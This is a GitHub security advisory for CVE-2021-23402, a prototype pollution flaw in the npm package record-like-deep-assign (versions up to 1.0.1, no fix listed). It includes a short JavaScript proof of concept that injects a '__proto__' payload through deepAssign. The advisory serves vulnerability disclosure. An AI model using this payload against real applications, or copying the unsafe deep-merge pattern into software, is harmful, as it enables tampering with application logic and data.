GitHub Advisoryadvisory · npm
GHSA-7qm6-9v49-38m9 Prototype Pollution in record-like-deep-assign
HIGH
Official page ↗
- Aliases
- CVE-2021-23402
- Ecosystem
- npm
- Packages
- record-like-deep-assign
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
- Weaknesses
- CWE-1321, CWE-915
- Reviewed
- 2021-07-06
Affected packages
• npm record-like-deep-assign: <= 1.0.1 (no fix yet)
Description
All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.
PoC
```js
const deepAssign = require('record-like-deep-assign');
let obj = {};
console.log("Before being polluted: " + obj.polluted);
EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
deepAssign({}, EVIL_JSON);
console.log("After being polluted: " + obj.polluted);
```
Related
Alias · CVE (1)
- CVE-2021-23402 All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality. vulnerability